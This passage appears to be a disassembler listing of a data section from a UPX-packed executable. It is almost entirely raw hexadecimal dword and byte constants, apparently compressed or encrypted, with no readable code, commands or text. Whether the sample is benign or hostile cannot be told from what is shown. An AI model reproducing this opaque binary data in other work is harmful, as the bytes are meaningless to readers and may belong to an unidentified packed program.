313CD3A4h, 0E3BB6D2h, 0E4F87120h dd 0AFA0BB5Ah, 2CE5AC9Ah, 0DBD8A610h, 802F60C2h, 8778A2AAh dd 54BE6055h, 0B64476AAh, 0DAA9F818h, 4DBBBBEEh, 94F0F9CEh dd 0F83D5D87h, 0A0607557h, 0B5D6751Fh, 6F91276Fh, 0B4CFA036h dd 0AE8B8C56h, 0D102CA1Fh, 0D4F2ACB1h, 2CE92811h, 9F34BAB4h dd 0CBF2BED3h, 6E8AD277h, 69C559CAh, 85B9344Ch, 0F3C1DD28h dd 0B2087FEBh, 4E8A66FEh, 692C847Dh, 47186DCAh, 0FD1F2291h dd 47B9F533h, 0EA8F4699h, 4426DDA9h, 8F0329AAh, 5747CD83h dd 4FDE0F71h, 0C5276D57h, 9AA57616h, 6B46BE4Dh, 0FBF90181h dd 2124D349h, 12B7D43Dh, 67C9507Dh, 5509AD07h, 6DB0DE0h dd 3E05720Bh, 0AE870D85h, 2306D966h, 0B896AB73h, 0C2A69EB3h dd 0F13A326Fh, 4E3398CBh, 80C77806h, 0F0A165C7h, 88FEDF9Eh dd 0B9D02883h, 24689A9Bh, 0F51C4933h, 96C654E6h, 4DB74085h dd 3B727AA3h, 0B4215E62h, 0BE60234Fh, 4D8CA6ABh, 0BE58B372h dd 5D3479BEh, 0D1AB62F8h, 983EDAF4h, 5A7B7551h, 383D775Ah dd 8CC9B1D9h, 52B0CC7Ch, 81CBA037h, 0F9B0C2D9h, 2190A895h dd 0A2999295h, 72182BA5h, 6F971079h, 6AC1CFB5h, 45B9E48Bh dd 0F1DC9A6Fh, 19EC3434h, 92F5B779h, 0BCD8CFE4h, 0A587E33Dh dd 67DD0F61h, 0A75CD60Bh, 0D18ADC23h, 0AA55741Bh, 1B7AF06Ch dd 0B2BADE3Eh, 438FF151h, 92A2454Ch, 8D67571Eh, 1BCF617Ch dd 0FBE429B6h, 0F10717C1h, 4092E5E6h, 0EC20C14Ch, 12A6DE7Ah dd 7F73F323h, 67ED6768h, 1209D49Bh, 0FEAFCD67h, 0AF144871h dd 0EA31D6EDh, 0C7EA208Fh, 175672CFh, 0BC8C34D6h, 507CE554h dd 0D5BB2281h, 4C2C9279h, 0D3AA90DBh, 7480152Dh, 7FC85097h dd 644BF64Bh, 389ABB79h dd 67EFDA15h, 0CC2E2CE1h, 0B37315A7h, 0ABF6174Ah, 0DE99700Eh dd 95CDBBEAh, 48C54FF2h, 0FC2DE6F7h, 5E26DB6Ch, 70D40012h dd 0E75EA118h, 685B8086h, 493C9B34h, 0BFA52307h, 96A56126h dd 738545C0h, 0C0DA2EC7h, 9BA522B8h, 0CEF5DFB5h, 872400D5h dd 0A55CFEB7h, 40CDDE35h, 1ECA9DBFh, 0FE8AABEFh, 0D6342C7Dh dd 0CFE343F6h, 5A69B219h, 0A2D5747Ah, 318BF599h, 0B5F6B232h dd 0CE6555A5h, 4151B7E7h, 28DE2530h, 9B76A416h, 0F701D2F2h dd 7741C4E8h, 0C88B6DBh, 0F1B1F769h, 0B5AD3605h, 459E9248h dd 0A5C606D0h, 0D169FB28h, 0C05FC391h, 3DB3B37Bh, 0B7CA8C94h dd 731B0F43h, 777BB6A1h, 8C44C096h, 0EF5A998Fh, 0FFCC85BCh dd 0DA36714h, 0D5428E16h, 29289712h, 5656D3E9h, 9276EB27h dd 2B6868Bh, 0FD5C8810h, 23B3E794h, 99FDA935h, 57016B84h dd 0A1511E4h, 0DD62441Eh, 4C1C5EC3h, 4D2D67E4h, 774DF123h dd 0EB8E59FBh, 6237D2DAh, 0EFEEBBFCh, 98BBE2Dh, 4AF17743h dd 3E5DFD48h, 565B33B7h, 0C1ABF56Bh, 47B68310h, 0FD59DFD7h dd 25EF1A34h, 3520F9FAh, 38C8E74Ch, 0E7C41092h, 34ADBB6Ch dd 0BD7E5E8Bh, 98EA3EDCh, 0A5CCB9D0h, 4EF9F246h, 0A2F4FDDAh dd 0F0845284h, 7CA734E2h, 7C5E3938h, 0FC242FABh, 0E62E7F8Ch dd 21792C76h, 96805F26h, 9184556Fh, 0B3EA31E2h, 0F2BEC5C3h dd 62F635B9h, 0F63E08C7h, 0B241A602h, 0A16B04EFh, 8D9E0AD0h dd 0D69D0624h, 3835AD06h, 0EC685896h, 0AAEBB7D4h, 4483CC18h dd 0D5471D29h, 0BE8CDABFh, 4B24C09Ch, 601CF362h, 0A95567FEh dd 381354D4h, 8F42D1F4h, 63819CFDh, 1B3AD76Ch, 66E5F5B8h dd 24209489h, 4E1DAC92h, 376786D1h, 2135B3C0h, 38C9B2E5h dd 35199F51h, 623A4219h, 1A53D0Ch, 9BD48B28h, 0F0951AEh dd 0B063B669h, 4DDDCD51h, 7719DFE6h, 0C4A463A9h, 0FC83058h dd 3F86A428h, 3495C1DDh, 1697735Ch, 5967BA3Ah, 0DDB8A4FEh dd 5FD4034h, 5FA1911Dh, 8984733Fh, 0F18E3CC7h, 308B646Ch dd 79E33760h, 49A09A5Bh, 5BBC7417h, 832F1EBAh, 7DB164FAh dd 40647AAAh, 0A9F4F645h, 566F163Fh, 2887DB16h, 2CE6B3A3h dd 0BA2B0D68h, 62E178CFh, 0AB63CCCh, 98B4A7BFh, 0A03CD1CAh dd 0DF2178B9h, 78CC08FEh, 9C91C7ACh, 7513EA60h, 40EA6964h dd 948DD0D5h, 0BAA0B46Ch, 33434290h, 631AE67h, 0E628AEC7h dd 1253CABFh, 9757A0ECh, 0AB1DCBA5h, 2917C704h, 22FF0F54h dd 6FBA0FD8h, 0EB3E38E1h, 21E5CEA6h, 4DD4A959h, 476F3C6Fh dd 0CC3D8DFFh, 8503F452h, 61C32612h, 85EC213Dh, 4E5B308Eh dd 5A6053CEh, 0ADE1EDBEh, 436EA8F4h, 397C0D3Eh, 0A393B898h dd 7340A2BEh, 0A72EF34Ch, 0CDBF4B29h, 92E53547h, 89C2529Ch dd 0D49F5C63h, 16C73BC6h, 2F658042h, 0AAB68174h, 0DA39D548h dd 569B4272h, 0A8CA7A1Fh, 4BEA71FAh, 0A35135D1h, 3EF88DDh dd 7BB1433Ch, 0DE0E602Ch, 97709FCDh, 0DE672E64h, 0DD7B3261h dd 0D090C347h, 745A4A9Dh, 39616F53h, 45B80C46h, 0D26950F9h dd 33023853h, 851850F7h, 0ECAECA64h, 0FCAB7451h, 80735F61h dd 0E80F0EF5h, 0C1952E8Bh, 8C8F60Dh, 347438CFh, 3E667FDFh dd 74A595FFh, 0E426203Fh, 4FF4AC52h, 29618B6Eh, 550E665Dh dd 0D3770F8h, 375BDBFBh, 6E18B918h, 5E9C8DC3h, 0B53247EDh dd 0FEB99EA5h, 584509ABh, 0D0B31966h, 7892F84Ch, 598730E7h dd 7C9D0580h, 0B2D8605Ch, 0F97CAF41h, 1571AF80h, 3D96ED02h dd 185D8A75h, 0F36589E3h, 0FB51FC00h, 0AE632712h, 8DC15481h dd 361788A6h, 0CBD77EB5h, 9D5CAF14h, 3087D77Dh, 0CE600DCFh dd 0D6261246h, 0D1095A04h, 2E90D067h, 63CDCA17h, 2D2FDE79h dd 0E49A7F91h, 0F3939B6Eh, 0B3A72F28h, 0B8422C98h, 5E64AD14h dd 6E6C4022h, 87C980DEh, 3F74A269h, 822224ABh, 0D44D69CAh dd 0E6BCCA9Fh, 4C4104C5h, 4716BE0Ah, 0DE69C46Ch, 0EE93AD56h dd 39CD6B32h, 9E7F628Fh, 0FED55BA3h, 757520E2h, 8AE78C3Bh dd 0E6969E43h, 51AE6A01h, 34379731h, 3F0D229Ch, 2677AD7h dd 0B0304D10h, 2C4D5E1Eh, 0B4F15781h, 0FDB1C8BDh, 0E010ED3Fh dd 35B60F30h, 0DE5B7D5Dh, 41A9493Eh, 86265ED1h, 6E3BB312h dd 4DDA8645h, 9199D5E9h, 21D2636Bh, 2283D1D4h, 0E8446F5h dd 3D3EFBDBh, 5B2BC8BAh, 87047D4Eh, 3F8368FDh, 95C8584Ah dd 2C25F606h, 0FB2B5F8Dh, 0ED558800h, 0A727E797h, 9B647FB8h dd 0C5DB95B1h, 217FC8C3h, 5C4185Bh, 12FD5830h, 0DCBD8E10h dd 7D749C5Ah, 9FF37C0Dh, 0EF2C4F86h, 0A131681h, 0B6CFAE1Ch dd 4F1B9C03h, 18FBB76h, 47EA8CB4h, 2DAF8A3h, 8D45C19Ch dd 15DC71ACh, 14FB695Ch, 0D5C4B0DBh, 891C7B1Eh, 3779F2F2h dd 92D74D74h, 45A8EB25h, 3F2FA544h, 0E779C18Ah, 0DC2D0FBh dd 2C731590h, 0CF1783E5h, 11B7049Dh, 1C698986h, 25942B66h dd 341307C8h, 76FEB255h, 0BD8037D2h, 0C6B0BBDCh, 0ABDB3A5h dd 0CB1C8731h, 30D980DAh, 29831C75h, 71BA3379h, 9785D87Eh dd 497FA9F2h, 7382DF48h, 0B819334Bh, 1DCB2DDFh, 0E5721C1Dh dd 0E791ED89h, 7528127h, 0C7C2C31Dh, 5EF4D3BDh, 5A422CFDh dd 0F09BF53Eh, 48810E2Fh, 455DD9AAh, 76B63B03h, 8D1338C2h dd 0FF087328h, 0EE62E894h, 0B4C5604Ah, 49AB893Bh, 0F0F2271Ah dd 0C5E6F96Dh, 4E2C09C1h, 9647E18Fh, 6D053BEEh, 0B3FBB29Eh dd 88BE53F1h, 0BB7255BAh, 2CE540D9h, 2A120914h, 90D0F266h dd 6D2A1DA5h, 0B846A55Dh, 0F2B9244Ah, 5A1159DBh, 0D12F6760h dd 1A042D0Eh, 0FCF291ADh, 3232CDE6h, 0B4CB65B6h, 86852959h dd 0F1E4F771h, 0F286362Bh, 0A673C7A3h, 8FA8087Eh, 3034B120h dd 0C1D05A97h, 3FBA6631h, 0ABDA1C97h, 0E0CBCD04h, 0DAFC61D3h dd 925F1C1h, 912BFD92h, 315FF1DAh, 0E8539EA2h, 8CAF9782h dd 5A5FBD20h, 294FA364h, 4D2E7CE8h, 0C9D5A0CDh, 0B62181EBh dd 26A94C1Ch, 77D924CFh, 170E77BCh, 11394FCEh, 0DA3CDCF1h dd 461213BCh, 7F448CF7h, 0CA55C9B6h, 4A669840h, 0A8A51B54h dd 9D3C8F68h, 7BAAF124h, 0D55BB351h, 1AF9C386h, 6176F665h dd 24FA6990h, 3CEA4B6Dh, 211BB02Dh, 0D8D2337Bh, 8567B75Ch dd 351FB1E0h, 7EDE2C1Bh, 0C24ECE44h, 3064C905h, 4DA02830h dd 0C307A589h, 0DA50DB00h, 567C8ED0h, 1F8D3A0Dh, 727337D6h dd 0BEE67112h, 0E6A6EB64h, 0A8A6A85Ch, 0C3E0E47Eh, 106A0E0Bh dd 0D788EFFEh, 73F8BCC6h, 2F502425h, 0FF7F6C2Eh, 0C2836DBFh dd 0CEBDA18Eh, 79B45F02h, 24AF1FB0h, 0BC9382E0h, 0F92A58E1h dd 160BA83Eh, 9EADD8E6h, 9FD10B9h, 0B3A6AD57h, 10856CF1h dd 0C4922D0Ch, 806B0AB7h, 0C928595Ch, 3456C749h, 0F8F4461h dd 48346451h, 81BF3908h, 10DA0076h, 0A3B53352h, 0F9F54D3Bh dd 871BADD8h, 8ED73158h, 23449B84h, 0B9927A2Ch, 0E3F85727h dd 0B32261DEh, 22D9D264h, 0DBFA84Dh, 913C991Bh, 28849BA8h dd 5431F033h, 25411D17h, 1BA367C0h, 9CE962B7h, 0A263E1BAh dd 0F2C3A00h, 9211C8DEh, 0A66E189h, 4DF959BAh, 0F495A46Eh dd 0E377015Eh, 0B5CEACDFh, 0EF9BEC8Ah, 0E915873Bh, 3C6B6A20h dd 2651E311h, 0E505078Bh, 9F64BDA0h, 5D4FADFDh, 766D46BCh dd 3F451299h, 9A9C9679h, 0D67789FCh, 65B5CA19h, 6054E680h dd 0AF4A2C89h, 93BCEFCCh, 0B2A2FC5Ch, 37A7A58Eh, 27C201B4h dd 0EB2180AFh, 0A3218B22h, 0C342E79h, 8439EABAh, 8EE68D30h dd 58E5B72Dh, 416820F2h dd 57F48DA9h, 1238DA35h, 0ACE7A925h, 0A484F207h, 0B2484C74h dd 0D704FB64h, 50948407h, 0E87856BFh, 0F1435254h, 35A6EAD0h dd 0EAD82DA9h, 0F63630BCh, 0DB027512h, 75C650E8h, 80EE5143h dd 62175A15h, 0CA3E8860h, 0BE6086F1h, 215FB59h, 0BB1EE65Fh dd 0C87321C9h, 0A2680029h, 2A31FF28h, 638EB9D2h, 0B2EDAE73h dd 0F327E376h, 6E7A19F3h, 0ABD664A1h, 3056C8EEh, 0C84BDA51h dd 235A78BEh, 8CF7468h, 5BBD65EEh, 6F2F939Ah, 0CC34C00h dd 0E13A7CD9h, 70067BAh, 79012D5Ah, 0B78270h, 896EDC68h dd 0D82ABDA8h, 80C5A6EEh, 0B8BEA82Fh, 93F289A8h, 0D8C1C2EEh dd 910F8D1h, 0EF4BEA4Eh, 3953BE51h, 17DA9761h, 44AD9986h dd 0A02EAC6Dh, 0A6FF56F0h, 0CECB2118h, 8ACFDFD5h, 0A5162556h dd 8F964719h, 0C3ACAA92h, 0C07A3A44h, 0FCA700Bh, 630115B3h dd 0E6A6EAAFh, 0EE98726Dh, 0E092D789h, 0B8B5EF29h, 0E471B874h dd 2EA2A4AFh, 1FE52A7Bh, 83D0A067h, 0DDD40D55h, 9D21FBFAh dd 0B662D3ACh, 41277A4Dh, 0C2BF7480h, 27B348FAh, 0CE1B1717h dd 0FD4C3F6Bh, 0D57FC313h, 97ED3787h, 889DA515h, 0F368F385h dd 87B892D4h, 8B307EA2h, 31B8B8Ah, 5B147041h, 0E22F28FAh dd 770DC6BEh, 0A6FEE158h, 76135547h, 332892F6h, 0C1408502h dd 1DC2BE45h, 0C6B616FFh, 0CD3FFEB1h, 484F475Eh, 4920F37Bh dd 0FAB210E5h, 570F71D9h, 7104C374h, 478E46BDh, 22F053Ah dd 37D18854h, 0F42545F7h, 48A9914Ah, 8FE25B96h, 8F918446h dd 0F1EC29FEh, 0DC0CBAB3h, 0FF3284BEh, 0CCD8C850h, 0ABE7F32h dd 8CFAADA0h, 0B2497959h, 35D45BAFh, 0B2C90B72h, 0A0579353h dd 7708F884h, 0DE4C3824h, 120357DAh, 36A131B1h, 3DDC17CCh dd 0D16CD095h, 0B6E02CEFh, 63DB24BCh, 62E16A61h, 10859C12h dd 14645D18h, 0ECF8EE2Ch, 7990D6E5h, 0DE9B5A38h, 0FF9E8DFh dd 0B15BF139h, 9DE52A72h, 832A419h, 804A58E4h, 37B576Ah dd 0D6201E7Ah, 0C9C3CA4Eh, 9CA350BAh, 6E38F1E2h, 11758051h dd 0C9472C1Ah, 0EE9F5F5Ah, 8931FA4Eh, 0FEE6097Ah, 1987429Fh dd 51887CFBh, 2F2A1DA5h, 0B241F09Dh, 1E971C41h, 164A1270h dd 0C2342C41h, 1F9FBDEFh, 34C60921h, 984FE7CAh, 3FD69918h dd 0E7F26DF0h, 0B9BD39A4h, 0EAE1D536h, 8A71B09Fh, 0BE8B6E8Fh dd 480AF4E3h, 1CBFA3D1h, 79D8444Ah, 0F1460001h, 0B75EEB1Ah dd 1106A8ADh, 7A174D2Dh, 0DA48E18Eh, 0C153C987h, 25BB843Eh dd 6E140B24h, 0B2384561h, 67A56186h, 272852BBh, 0D4747578h dd 0BFE8EDD2h, 3D861795h, 3FC38B64h, 26085544h, 5F3C6A9Eh dd 0AFDDA62Eh, 698D280Bh, 1D4D4AC8h, 7B35366Ah, 0D05B6726h dd 57640F9Bh, 0FA806C67h, 0A618EFB9h, 7C6AED35h, 30F1259Dh dd 1CA7BEF1h, 188DD45Fh, 7B85412Ah, 0A8FA6FE1h, 0A56A93CCh dd 0BF3F8ECBh, 67CEE22Ch, 0B84E3DEDh, 2CEBDE71h, 0E93E53ACh dd 0DFD63BD9h, 96A00506h, 9ABCEE17h, 1951F823h, 1E347D2Fh dd 93C32FC7h, 0A56D4300h, 6385A6E9h, 44C2382Fh, 16DB5C18h dd 0ECCD6335h, 8D071E95h, 0EBD0182Bh, 70B61EA5h, 0B70EF3B7h dd 8529FB91h, 0DCF4CE42h, 0DADF467h, 0FC671CDEh, 8F2D05B8h dd 3416C935h, 0ABA17F13h, 65C62081h, 7C485D30h, 420A6D8Ch dd 5BA22D9Bh, 9A97F031h, 86C737F4h, 5EDF07EBh, 731C01A0h dd 0DD45564Eh, 1F5F3864h, 3D59ECF2h, 0D35D9E58h, 7C12F905h dd 72FBB713h, 8E9905AEh, 228CD079h, 0C5A8ECD9h, 0A8563DBFh dd 8B8D25EEh, 3C1E7FB2h, 111818CAh, 0B27A201Fh, 0A21D34D1h dd 99F60AE0h, 0C5A5140Bh, 932DBAE3h, 0A1517F96h, 7ED42796h dd 6286E267h, 0BC3E48BEh, 0ADFB318Dh, 1919F23Eh, 246CEE07h dd 67E06C01h, 0EED80441h, 2178F0B9h, 481A4E08h, 0F88ACC9Ah dd 3C1CD1BBh, 1C137216h, 81BE32C4h, 15ABFDCAh, 0FF36358Bh dd 76B98B0h, 4D020CEDh, 0DF9457D5h, 7DD69B38h, 7CE51D32h dd 79F19EF7h, 5E218AA5h, 21B11878h, 5BCFAC95h, 0F47F0090h dd 64D678ECh, 0F4C6CF8Ch, 9646A7A5h, 547CE3FAh, 0F02A97B0h dd 2E409529h, 0D2BE82E0h, 0ADAF3401h, 0ACF6D5C8h, 941AEC29h dd 5BE6B44Dh, 5B1528C1h, 0F1885A3Fh, 6FD76A51h, 67A914D1h dd 0AA80CE7Bh, 7A7AA93Dh, 0B18272FDh, 92F9601Bh, 0FC37A420h dd 0C0E0A536h, 0BD8B529Ah, 80044719h, 26814A4Ah, 0B37A9242h dd 8EA44856h, 74F1779Eh, 5EBDB87Bh, 52D75283h, 0CDA39D86h dd 0EF883315h, 41442D3Ah, 98EFCF3Ch, 0D2829F8Ah, 0E2906114h dd 6ADE2711h, 0B5C91DA5h, 0A1E40A2Bh, 2BCCC81Bh, 0AAE9E537h dd 0B89649B7h, 0F22C9A29h, 0C44EB143h, 94AB2EC2h, 0D1A4239Dh dd 0DC854274h, 0CED4E9CFh, 0E6B6A28Dh, 9C83D4EDh, 4AF9803Fh dd 81177A32h, 663DEE93h, 2F262B15h, 492D4D28h, 63D6696Ch dd 0B8133163h, 43C65F10h, 3C1CAD34h, 2DCB3AF6h, 0E5AE4372h dd 3C545C88h, 0AC3FF8B5h, 6301361Eh, 3B6A4183h, 6159AD5h dd 0ACF35B06h, 52FAC7A0h, 58D482BEh, 25EFF841h, 0A53E46A8h dd 0D501F27Dh, 0FB8F26B6h, 0B01D3FDh, 27448E23h, 2B0BA236h dd 1371A4F7h, 0CF0735A6h, 7E9BE53Fh, 149301F3h, 0A42449F5h dd 55589102h, 4E2B2DEDh, 0EF41D020h, 984989A9h, 648B16FEh dd 8B3120Ch, 0E8E7472Bh, 0BA5DA12Bh, 5DF97187h, 3DE65375h dd 1FCFC7CEh, 4E0AAE97h, 61F0CE79h, 5EDF4798h, 8C0559Eh dd 27318A4Dh, 0B9CE7380h, 90AFA47Eh, 82F0358Ah, 4D317EDBh dd 38084A7Eh, 0C636FA2Fh, 6ED094C3h, 132A494Bh, 0B9597AF6h dd 8BA47BBCh, 0D278AB91h, 297BEC71h, 8734F7B7h, 0B799CB9h dd 0C80BE90Fh, 52937D43h, 789EACBEh, 0F78042EAh, 303978E6h dd 42557Eh, 19D660D9h, 85D366Bh, 0EB27F500h, 0D6FF94C5h dd 3D7EA802h, 2F2523E3h, 0F30EB121h, 0EFA91A3Ch, 4434AA3Ch dd 0F7F9A9C4h, 74B866B1h, 0CEC26248h, 5930F0E0h, 0E225FF08h dd 456F504Ch, 68632515h, 0D2711028h, 0DF461842h, 42118815h dd 679CAE3Eh, 67AB7ED7h, 620A24AAh, 0C713D876h, 3788FCBFh dd 0A2C10E7Fh, 97919E89h, 0E4F92A1Dh, 0EDEF663h, 9D447A5Ch dd 832F10E1h, 0C5634540h, 3330D9C5h, 0D9FB6735h, 61EBE832h dd 0A5BFB30h, 6DE32755h, 25978A06h, 2F69386Fh, 0C3EAF60Fh dd 4384236Ch, 0EE7B9717h, 94D4ABCFh, 2F0688FCh, 0E60F4D04h dd 0C5AB23DDh, 0DC840863h, 12054E35h, 65C646DAh, 0B2DA2896h dd 7E320CAEh, 6BE09776h, 16F5999Fh, 0C7EFA523h, 78509F4Dh dd 849A257Dh, 7CE9A2E0h, 7D13019Ah, 3F925683h, 49EC8701h dd 85AEA2E5h, 8DE1EB5Eh, 0E1E091AEh, 3BE38CD9h, 190031FFh dd 87709A05h, 0F44A958Fh, 747F3330h, 0E6465F35h, 7778DA78h dd 0FFF015Bh, 0E567D369h, 14B2FC8h, 0EE5763F4h, 9F31170Dh dd 9BF8A72Fh, 76CCB6C8h, 0CB52DCEFh, 480E44A5h, 0E1DF4572h dd 9C7DB637h, 0A9D7E585h, 4A4E2660h, 9A4F6A56h, 5E82F204h dd 0FCB47106h, 426A67C8h, 99897302h, 0F21479E0h, 0C1F98998h dd 0E8A90506h, 6DF12517h, 0A35E776Eh, 60B61E50h, 771B297Ah dd 4A62E42h, 0D4D1463Fh, 0B93129BAh, 992F51EEh, 47B1B537h dd 1B433691h, 7FEB6AEBh, 592A1820h, 6912B92Eh, 4F06C1h dd 0F75049C2h, 0B335992Dh, 34321D48h, 2F29BA3h, 0C0FB5096h dd 1B30B3BAh, 8B4488BFh, 0D273725h, 0D142FD99h, 0A3794B0Eh dd 0B397B6B4h, 19C69952h, 0DEAB258h, 0B21CAE4Ch, 2F550B86h dd 0A5B196CFh, 9DF413A7h dd 748F5A7Ch, 0EB93038Fh, 64AABCB0h, 1DFB2ED4h, 0F436DD34h dd 9DCAF3C7h, 0F4ADFBE2h, 0A67D91AAh, 13EC2288h, 0A7ADDE6Fh dd 98ED4712h, 0ADDFAD6Ah, 3E4EA78Eh, 67445788h, 0A4A70C35h dd 2F04D361h, 7F4DAA67h, 7C0B7BD7h, 48507D83h, 92E44295h dd 9432730Eh, 0F5BCCF3h, 8C487822h, 0D1F56376h, 7AFB3504h dd 0EE8286AEh, 0CE088518h, 71BAAA53h, 0E3E3C49Ch, 0FACDD86Ah dd 42D3D285h, 7BEE7FDDh, 92FAD1BFh, 0F68324E4h, 0D3291F97h dd 82E6C5CDh, 0E7550F91h, 96147D62h, 7BF8C2D4h, 0D96307A1h dd 8868877Eh, 0C8D16093h, 0C0B2B43Fh, 4F7B163Fh, 5A61DCFDh dd 84C50D66h, 3F0ADDAFh, 0D0B70C31h, 5C322492h, 0FE061DE8h dd 0E2258087h, 3C6C8C03h, 8992ECBDh, 91DFE631h, 5F31B36Ah dd 0C7A040C7h, 0A139E1B9h, 9BEE6272h, 0D706F151h, 0BD4DA731h dd 784D579h, 96268CCBh, 994E4738h, 0A3BD21A5h, 0B0F0470Ch dd 3F8769C8h, 2278A97Bh, 804370ACh, 58A2929Ah, 341F310Bh dd 8F085A0Dh, 7BEBDBAEh, 9494A7Dh, 60DFC386h, 0EAEDDDF0h dd 717298AAh, 8C029E85h, 9D8F065Ah, 43911D83h, 82841F63h dd 0E2884452h, 7326A01Ah, 0D6FDA35Fh, 6123129Dh, 0C65825A5h dd 159D2EE9h, 0B79CA6A6h, 0EF398663h, 7A70748Bh, 6AD90516h dd 1BEDDE91h, 0EA96D9CFh, 0E20340F3h, 5351F614h, 0DA23981Bh dd 2E7772B4h, 138FF0D0h, 0B1FA4620h, 0A759E1A1h, 0B080897Ch dd 4A1CA5B0h, 0DFB57761h, 435584F2h, 0F575CB50h, 3A6F8E7Ch dd 77C28FA8h, 0BE1279BEh, 508F4979h, 88E9C976h, 4F262B7Ch dd 0F0214D15h, 698EF585h, 5DF6EF14h, 5B9097E1h, 6A9A990Ch dd 94B2CEE7h dword_530020 dd 3F82D055h, 0D73F1FA8h, 0D0F921BBh, 82F6C18h, 450679A0h ; DATA XREF: .data:004ED72Co dd 0A5FE4AE6h, 0F227E3E1h, 212544B5h, 50119480h, 0C76B7534h dd 0FA263E89h db 7Ah byte_53004D db 0B3h, 7Dh, 0DCh ; DATA XREF: .data:off_4ED728o dd 0DE2803B7h db 0E1h byte_530055 db 2Dh, 99h, 0BEh ; DATA XREF: UPX0:off_42BC84o ; UPX0:off_42BC9Co dd 0F2BC3FE0h, 8B38AF93h, 11EC096Ch, 0C068F512h, 0BB49C514h dd 78FF9D58h, 235186A6h, 25F04DE4h, 9EAE4D4h, 3F423EB4h dd 395B32C6h, 7E005160h, 8B64BCACh, 3310BE7h, 0E0373ADh dd 2C9E606Eh, 1E2F5F9Ch, 4E7A9AA2h, 8659D54Fh, 0C1D095B8h dd 6474E4D3h, 8F3B2590h, 7282DDFBh, 26494E5Fh, 36DABCC1h dd 0EC840753h, 0C0B5FD9Bh, 7ACEC65Bh, 0F2FCEDDDh, 27F1C801h dd 72E615ECh, 0D1054D27h, 0B59361BEh, 0CCC14985h, 1CD89DA5h dd 4807A512h, 7680843Ch, 0A6EAF00Eh, 0D1B5BD2Bh, 130A0302h dd 55B64E4Fh, 1B2CE41h, 51274D16h, 0DF584772h, 2A702AFh dd 0A436646Eh, 6C49EA8Ah, 0AA343968h, 9B2D0721h, 1898A2B0h dd 7768A2AAh, 0D8FED8A4h, 72DF6666h, 5C99E858h, 155DAA3Ah dd 7FBFA12Dh, 0A8E8761Eh, 70BB1988h, 1A6E21AEh, 940564A0h dd 2150A07Fh, 3B998295h, 0ADDC35C0h, 0A898A824h, 0DE629093h dd 45ED989Ah, 11F9F5C9h, 701AF2F8h, 0C648C2B6h, 0BFEDF33Fh dd 0B37BE95Eh, 0FC24CD00h, 0F55301E2h, 6F0AD25Eh, 4F7C656Ah dd 58215A90h, 6A353596h, 0F0FD8F9Bh, 6B5DFFFCh, 211D96EFh dd 2C6B05D7h, 92765B27h, 0A048AF14h, 54639977h, 8C6FD5D7h dd 6987753Ch, 88074486h, 0C0E1AD66h, 9375C475h, 0EA4AF917h dd 196FD8E9h, 17C6CE6Ah, 7F78609Bh, 6EB91548h, 0F5664EBAh dd 0D1C5E438h, 551EF939h, 201A88FAh, 0E6ABAC79h, 8BAE5CBDh dd 33B0C206h, 0D0581F0Ch, 922600BFh, 0C3F8CF75h, 0D9DE1444h dd 0AACEB3C2h, 542E0D9Ah, 0CA8BDBBBh, 3E90E43Fh, 0F4F5CFF9h dd 95ADF7C6h, 2DA78C6Bh, 0DA68D2C5h, 7E0EFCA7h, 0A8512E89h dd 7E4BC25Ch, 2E795B19h, 0A361E8F2h, 0D2821EC8h, 0DD971CDCh dd 5B5B1AC1h, 3822F995h, 407A7F4h, 0E15F28ABh, 1B9E4DFCh dd 0C7096A4h, 0D11E3E58h, 0C91670C9h, 45946901h, 39668D3Ah dd 0C2516061h, 0FC09D1B2h, 5355B7E3h, 3E2FDEFFh, 0A9552279h dd 0FF22FB2Fh, 0F6545FE8h, 3DE4AA8Ch, 895CE740h, 86DCA642h dd 9E4DA22Ah, 0B7B76242h, 60FA7081h, 5DC3B28Ch, 911A7C3Bh dd 0A468276Ch, 655358D1h, 0E00983EDh, 0AB0F2B7Dh, 0AC226F47h dd 0E4412C31h, 1E2E4D02h, 0F64038A4h, 0F21251FEh, 0EF6D33AFh dd 0C56A8C2Fh, 511F6EA5h, 0D249446Eh, 44815FA2h, 0A289165Bh dd 0F75AE5F6h, 4B6ECA78h, 0AA8FA42Ch, 3E91CF42h, 0B6C5B123h dd 0B2EF4210h, 0E9D3E5B9h, 754A95Ch, 152941AEh, 696BE05Bh dd 8607032h, 0EBA89EA5h, 0D477344h, 9CC82C9Eh, 0A397A9CAh dd 45322262h, 143E9AACh, 8C6BB683h, 22BF03A9h, 0DAB9DE23h dd 0AA842082h, 23D096BEh, 0E4B04E44h, 757ACF00h, 9BF4BB65h dd 69FD2C0Dh, 0B4E18B12h, 87E973BEh, 0A944EC4Fh, 2C5B47CCh dd 7B5E3446h, 0D919C475h, 0A774C1BAh, 22EE1425h, 4FFEB1B8h dd 0B60181C7h, 4EE5EAE9h, 86895D3h, 0D0D5D43Ah, 952059B7h dd 0EE2E3DA5h, 43D814B8h, 2C855D9Ch, 0CCF9C843h, 94FCD3C3h dd 3A9D6E49h, 0E68D7D46h, 0DCDC1915h, 0D11BDE6Bh, 40C71E7h dd 1222297Ah, 0F7C5A0F9h, 0BD74EECh, 928DF1EEh, 0AB1F1A9Ch dd 0A3071DA4h, 8795CFF9h, 3A236C2Dh, 0A4129E19h, 0C80CD86Fh dd 0C2FAEAC2h, 0F593418Ah, 2136A2E9h, 5D992E13h, 0E1E4C78Bh dd 4E615419h, 6A2D0912h, 84FE475Ch, 0CA38795Ch, 58E9AED4h dd 0D32229B5h, 525AEF30h, 0AD2F99DCh, 0D572E764h, 0CF431828h dd 0E434172Ch, 0CDD853BAh, 2CE3CE83h, 0EC246D1Dh, 49F43277h dd 0C1DDDFBCh, 6BE60B54h, 7DB2B755h, 1C64D9C2h, 0A4F918h dd 0E7884374h, 0C49956DCh, 87971BF2h, 0CD67FBBCh, 8F4BF1EAh dd 0AD436E07h, 0DD394419h, 4A751A31h, 0C7415B3Ah, 90C16F86h dd 5516D60Eh, 0E37DEBB4h, 0D326690Dh, 0D28CDB38h, 20CEE445h dd 76CCD049h, 3EB6EA33h, 2F72E2E7h, 9BAA451Bh, 0C8F27D11h dd 7822D783h, 4D16F906h, 786D5D70h, 90C0540Dh, 2B1A0BD2h dd 8372B07h, 9D5C686Ch, 5A378077h, 0D7B7B1BEh, 92C48A44h dd 2BB1E017h, 81D9C01Eh, 74F512Bh, 0FF6F472h, 0A6608E69h dd 27693459h, 3FE05E5Ch, 0A3BEF38Eh, 10B9FA8Ah, 0E5E47C4Bh dd 0D1C6664Ah, 0B6068FF3h, 3CC66391h, 75EDCDC8h, 44E70395h dd 83B35161h, 0A1BF4414h, 791E7BD8h, 0D6786514h, 